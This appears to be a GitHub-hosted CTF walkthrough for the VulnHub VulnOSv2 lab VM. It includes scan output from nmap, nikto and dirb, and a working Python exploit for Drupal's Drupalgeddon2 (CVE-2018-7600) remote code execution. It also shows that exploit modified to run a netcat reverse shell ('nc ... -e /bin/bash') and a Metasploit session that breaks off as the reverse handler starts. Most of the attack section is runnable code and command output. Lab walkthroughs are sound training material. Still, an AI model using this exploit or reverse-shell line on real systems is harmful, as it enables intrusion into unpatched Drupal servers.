-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub VulnOSv2 (Medium)
11491 lines (10779 loc) · 820 KB
/
VulnHub VulnOSv2 (Medium)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
=========================================================================
Walkthrough of the VulnOSv2 VulnHub VM CTF
=========================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb + Searchsploit)
Step 2. Gaining access
Method 1 - Find & exploit the Drupal RCE vulnerability (CVE-2018-7600)
(Python script or Metasploit - RCE as the user "www-data")
Method 2 - Find and exploit an SQLi in the OpenDocMan Website
> Find and crack credentials stored in the Mysql DB (user "webmin")
> Use the credentials to login with SSH (user "webmin")
Step 3. Linux enumeration (LinEnum.sh + Linux-exploit-suggester.sh)
Step 4. Privesc to root
Method 1 - Overlayfs exploit (CVE-2015-1328)
Method 2 - DirtyC0w exploit (CVE-2016-5195) -To ADD
Method 3 - Manual privesc to "vulnosadmin" then to root -To ADD
> Find vulnosadmin's password in a postgres DB protected by default creds
> Find root's password hidden in a file.
=========================================================================================================
root@Security-Audit-01:~# netdiscover
Currently scanning: 192.168.25.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.29 f4:5c:89:c9:be:c5 1 60 Apple, Inc.
192.168.1.50 08:00:27:57:4f:aa 1 60 PCS Systemtechnik GmbH
192.168.1.254 68:a3:78:8b:0c:dd 2 120 FREEBOX SAS
=========================================================================================================
root@Security-Audit-01:~# nmap -sS -sV -sC -p- -T5 192.168.1.50
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-25 01:15 CEST
Nmap scan report for 192.168.1.50
Host is up (0.00013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: VulnOSv2
6667/tcp open irc ngircd
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.99 seconds
=========================================================================================================
root@Security-Audit-01:~# nmap -script vuln -p 22,80,6667 192.168.1.50
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-25 01:16 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 01:17 (0:00:00 remaining)
Stats: 0:01:17 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 01:17 (0:00:00 remaining)
Stats: 0:03:15 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 01:19 (0:00:02 remaining)
Stats: 0:03:17 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 01:19 (0:00:02 remaining)
Stats: 0:03:18 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 01:19 (0:00:02 remaining)
Stats: 0:03:52 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.95% done; ETC: 01:19 (0:00:02 remaining)
Nmap scan report for 192.168.1.50
Host is up (0.00036s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.50
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.50:80/jabc/?q=node/6
| Form id: commerce-cart-add-to-cart-form-3
| Form action: /jabc/?q=node/6
|
| Path: http://192.168.1.50:80/jabc/?q=node/5
| Form id: commerce-cart-add-to-cart-form-2
| Form action: /jabc/?q=node/5
|
| Path: http://192.168.1.50:80/jabc/?q=node/4
| Form id: commerce-cart-add-to-cart-form-1
|_ Form action: /jabc/?q=node/4
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/misc/?C=D%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/misc/?C=S%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/misc/?C=M%3bO%3dA%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/misc/?C=N%3bO%3dD%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
| http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|_ http://192.168.1.50:80/jabc/?q=node%2f3%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
6667/tcp open irc
|_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again).
MAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 346.09 seconds
=========================================================================================================
root@Security-Audit-01:~# nikto -h 192.168.1.50
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.50
+ Target Hostname: 192.168.1.50
+ Target Port: 80
+ Start Time: 2018-09-25 01:19:36 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x3c9 0x531f36393d540
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2018-09-25 01:19:55 (GMT2) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
=========================================================================================================
root@Security-Audit-01:~# nikto -h http://192.168.1.50/jabc/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.50
+ Target Hostname: 192.168.1.50
+ Target Port: 80
+ Start Time: 2018-09-25 01:20:43 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.14
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /jabc/scripts/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /jabc/robots.txt, fields: 0x619 0x53099f194b54d
+ OSVDB-3268: /jabc/includes/: Directory indexing found.
+ Entry '/includes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /jabc/misc/: Directory indexing found.
+ Entry '/misc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /jabc/modules/: Directory indexing found.
+ Entry '/modules/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /jabc/profiles/: Directory indexing found.
+ Entry '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/scripts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /jabc/themes/: Directory indexing found.
+ Entry '/themes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 36 entries which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3092: /jabc/includes/: This might be interesting...
+ OSVDB-3092: /jabc/misc/: This might be interesting...
+ OSVDB-3092: /jabc/scripts/: This might be interesting... possibly a system shell found.
+ OSVDB-3092: /jabc/install.php: Drupal install.php file found.
+ OSVDB-3092: /jabc/install.php: install.php file found.
+ OSVDB-3092: /jabc/xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3268: /jabc/sites/: Directory indexing found.
+ 8383 requests: 0 error(s) and 36 item(s) reported on remote host
+ End Time: 2018-09-25 01:21:07 (GMT2) (24 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
=========================================================================================================
root@Security-Audit-01:~# BlindElephant.py http://192.168.1.50/jabc/ drupal
Loaded /usr/lib/python2.7/dist-packages/blindelephant/dbs/drupal.pkl with 145 versions, 478 differentiating paths, and 434 version groups.
Starting BlindElephant fingerprint for version of drupal at http://192.168.1.50/jabc
Hit http://192.168.1.50/jabc/CHANGELOG.txt
File produced no match. Error: Failed to reach a server: Not Found
Hit http://192.168.1.50/jabc/INSTALL.txt
File produced no match. Error: Failed to reach a server: Not Found
Error: All versions ruled out!
=========================================================================================================
root@Security-Audit-01:~# dirb http://192.168.1.50/jabc/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Tue Sep 25 21:51:37 2018
URL_BASE: http://192.168.1.50/jabc/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.50/jabc/ ----
==> DIRECTORY: http://192.168.1.50/jabc/includes/
+ http://192.168.1.50/jabc/index.php (CODE:200|SIZE:9471)
==> DIRECTORY: http://192.168.1.50/jabc/misc/
==> DIRECTORY: http://192.168.1.50/jabc/modules/
==> DIRECTORY: http://192.168.1.50/jabc/profiles/
+ http://192.168.1.50/jabc/robots.txt (CODE:200|SIZE:1561)
==> DIRECTORY: http://192.168.1.50/jabc/scripts/
==> DIRECTORY: http://192.168.1.50/jabc/sites/
==> DIRECTORY: http://192.168.1.50/jabc/templates/
==> DIRECTORY: http://192.168.1.50/jabc/themes/
+ http://192.168.1.50/jabc/xmlrpc.php (CODE:200|SIZE:42)
---- Entering directory: http://192.168.1.50/jabc/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/misc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/profiles/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/scripts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/sites/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/templates/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.1.50/jabc/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Tue Sep 25 21:51:39 2018
DOWNLOADED: 4612 - FOUND: 3
=========================================================================================================
Manual browsing => identification of the version of DRUPAL CMS: 7.26
=========================================================================================================
=> http://192.168.1.50/jabc/profiles/standard/standard.info
=> http://192.168.1.50/jabc/profiles/testing/testing.info
name = Testing
description = Minimal profile for running tests. Includes absolutely required modules only.
version = VERSION
core = 7.x
hidden = TRUE
; Information added by Drupal.org packaging script on 2014-01-15
version = "7.26"
project = "drupal"
datestamp = "1389815930"
=========================================================================================================
root@Security-Audit-01:~# searchsploit drupal
----------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------- ----------------------------------------
Drupal 4.0 - News Message HTML Injection | exploits/php/webapps/21863.txt
Drupal 4.1/4.2 - Cross-Site Scripting | exploits/php/webapps/22940.txt
Drupal 4.5.3 < 4.6.1 - Comments PHP Injection | exploits/php/webapps/1088.pl
Drupal 4.7 - 'Attachment mod_mime' Remote Command Execution | exploits/php/webapps/1821.php
Drupal 4.x - URL-Encoded Input HTML Injection | exploits/php/webapps/27020.txt
Drupal 5.2 - PHP Zend Hash ation Vector | exploits/php/webapps/4510.txt
Drupal 5.21/6.16 - Denial of Service | exploits/php/dos/10826.sh
Drupal 6.15 - Multiple Persistent Cross-Site Scripting Vulnerabilities | exploits/php/webapps/11060.txt
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User) | exploits/php/webapps/34992.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session) | exploits/php/webapps/44355.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password | exploits/php/webapps/34984.py
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password | exploits/php/webapps/34993.php
Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Executio | exploits/php/webapps/35150.php
Drupal 7.12 - Multiple Vulnerabilities | exploits/php/webapps/18564.txt
Drupal 7.x Module Services - Remote Code Execution | exploits/php/webapps/41564.php
Drupal < 4.7.6 - Post Comments Remote Command Execution | exploits/php/webapps/3313.pl
Drupal < 5.1 - Post Comments Remote Command Execution | exploits/php/webapps/3312.pl
Drupal < 5.22/6.16 - Multiple Vulnerabilities | exploits/php/webapps/33706.txt
Drupal < 7.34 - Denial of Service | exploits/php/dos/35415.txt
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploi | exploits/php/webapps/44557.rb
Drupal < 7.58 - 'drupalgeddon3' (Authenticated) Remote Code Execution | exploits/php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote C | exploits/php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execu | exploits/php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execu | exploits/php/webapps/44448.py
Drupal Module Ajax Checklist 5.x-1.0 - Multiple SQL Injections | exploits/php/webapps/32415.txt
Drupal Module CAPTCHA - Security Bypass | exploits/php/webapps/35335.html
Drupal Module CKEditor 3.0 < 3.6.2 - Persistent EventHandler Cross-Sit | exploits/php/webapps/18389.txt
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent Cros | exploits/php/webapps/25493.txt
Drupal Module CODER 2.5 - Remote Command Execution (Metasploit) | exploits/php/webapps/40149.rb
Drupal Module Coder < 7.x-1.3/7.x-2.6 - Remote Code Execution | exploits/php/remote/40144.php
Drupal Module Cumulus 5.x-1.1/6.x-1.4 - 'tagcloud' Cross-Site Scriptin | exploits/php/webapps/35397.txt
Drupal Module Drag & Drop Gallery 6.x-1.5 - 'upload.php' Arbitrary Fil | exploits/php/webapps/37453.php
Drupal Module Embedded Media Field/Media 6.x : Video Flotsam/Media: Au | exploits/php/webapps/35072.txt
Drupal Module RESTWS 7.x - PHP Remote Code Execution (Metasploit) | exploits/php/remote/40130.rb
Drupal Module Sections - Cross-Site Scripting | exploits/php/webapps/10485.txt
Drupal Module Sections 5.x-1.2/6.x-1.2 - HTML Injection | exploits/php/webapps/33410.txt
Drupal avatar_uploader v7.x-1.0-beta8 - Arbitrary File Disclosure | exploits/php/webapps/44501.txt
----------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
============================================================================================
"Manual" exploitation of the Drupalgeddon2 RCE vulnerability (CVE-2018-7600)
============================================================================================
Test 1
========
=> Exploit for Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)
=> Link: https://github.com/dreadlocked/Drupalgeddon2
=> Result: It doesn't work beacause some Default Drupal files are not present...
root@Security-Audit-01:~# ruby drupalgeddon2.rb http://192.168.1.50/jabc/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://192.168.1.50/jabc/
--------------------------------------------------------------------------------
[!] MISSING: http://192.168.1.50/jabc/CHANGELOG.txt (HTTP Response: 404)
[!] MISSING: http://192.168.1.50/jabc/core/CHANGELOG.txt (HTTP Response: 404)
[+] Found : http://192.168.1.50/jabc/includes/bootstrap.inc (HTTP Response: 200)
[!] WARNING: Could be a false-positive [1-1], as the file could be reported to be missing
[-] Didn't detect Drupal version
Test 2
========
=> Exploit for Drupal < 7.58 unauthenticated RCE (CVE-2018-7600)
=> Link: https://github.com/FireFart/CVE-2018-7600
=> Result: It worked !!
=> I modified the "Host/path" and the Linux commands that I wanted to execute ('id' by default)
---------------------------------------------------------
Python script to execute several Linux commands (RCE)
---------------------------------------------------------
#!/usr/bin/env python3
import requests
import re
HOST="http://192.168.1.50/jabc/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'hostname;id;uname -a;pwd;ls', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
found = m.group(1)
get_params = {'q':'file/ajax/name/#value/' + found}
post_params = {'form_build_id':found}
r = requests.post(HOST, data=post_params, params=get_params)
print(r.text)
------------------------------------------------------------
root@Security-Audit-01:~/Desktop/CTFs/VulnOSv2# python3 drupalgeddon2.py
VulnOSv2
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
/var/www/html/jabc
authorize.php
cron.php
includes
index.php
install.php
misc
modules
profiles
robots.txt
scripts
sites
templates
themes
update.php
xmlrpc.php
[{"command":"settings","settings":{"basePath":"\/jabc\/","pathPrefix":"","ajaxPageState":{"theme":"black","theme_token":"eXCZzCVTiMWCL3LbJDYnPMRs-bVwEJlQPzn3M3dqZpA"}},"merge":true},{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cdiv class=\u0022messages error\u0022\u003E\n\u003Ch2 class=\u0022element-invisible\u0022\u003EError message\u003C\/h2\u003E\n \u003Cul\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Undefined index: #value in \u003Cem class=\u0022placeholder\u0022\u003Efile_ajax_upload()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E262\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/jabc\/modules\/file\/file.module\u003C\/em\u003E).\u003C\/li\u003E\n \u003Cli\u003E\u003Cem class=\u0022placeholder\u0022\u003ENotice\u003C\/em\u003E: Undefined index: #suffix in \u003Cem class=\u0022placeholder\u0022\u003Efile_ajax_upload()\u003C\/em\u003E (line \u003Cem class=\u0022placeholder\u0022\u003E280\u003C\/em\u003E of \u003Cem class=\u0022placeholder\u0022\u003E\/var\/www\/html\/jabc\/modules\/file\/file.module\u003C\/em\u003E).\u003C\/li\u003E\n \u003C\/ul\u003E\n\u003C\/div\u003E\n","settings":{"basePath":"\/jabc\/","pathPrefix":"","ajaxPageState":{"theme":"black","theme_token":"eXCZzCVTiMWCL3LbJDYnPMRs-bVwEJlQPzn3M3dqZpA"}}}]
Next step = Getting a reverse shell using Netcat
--------------------------------------------------
=> I replace the command in the script by a reverse shell one-liner using netcat:
"nc 192.168.1.9 443 -e /bin/bash"
i.e.
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'nc 192.168.1.9 443 -e /bin/bash', 'name[#type]':'markup'}
root@Security-Audit-01:~/Desktop/CTFs/VulnOSv2# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.9] from (UNKNOWN) [192.168.1.50] 52569
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@VulnOSv2:/var/www/html/jabc$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@VulnOSv2:/var/www/html/jabc$ pwd
/var/www/html/jabc
www-data@VulnOSv2:/var/www/html/jabc$ ls
LinEnum.sh cron.php install.php profiles scripts themes
Webshell.php includes misc robots.txt sites update.php
authorize.php index.php modules s.php templates xmlrpc.php
www-data@VulnOSv2:/var/www/html/jabc$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
www-data@VulnOSv2:/var/www/html/jabc$
================================================================================================
Automatic exploitation of the Drupalgeddon2 RCE vulnerability (CVE-2018-7600) using Metasploit
================================================================================================
msf > search drupal
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Drupal OpenID External Entity Injection
auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Drupal Views Module Users Enumeration
exploit/multi/http/drupal_drupageddon 2014-10-15 excellent Drupal HTTP Parameter Key/Value SQL Injection
exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Drupal CODER Module Remote Command Execution
exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Drupal Drupalgeddon 2 Forms API Property Injection
exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Drupal RESTWS Module Remote PHP Code Execution
exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent PHP XML-RPC Arbitrary Code Execution
msf > use exploit/unix/webapp/drupal_drupalgeddon2
msf exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no If output should be dumped
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /jabc/
TARGETURI => /jabc/
msf exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.1.50
RHOST => 192.168.1.50
msf exploit(unix/webapp/drupal_drupalgeddon2) > options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no If output should be dumped
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.1.50 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jabc/ yes Path to Drupal install
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.1.8:4444
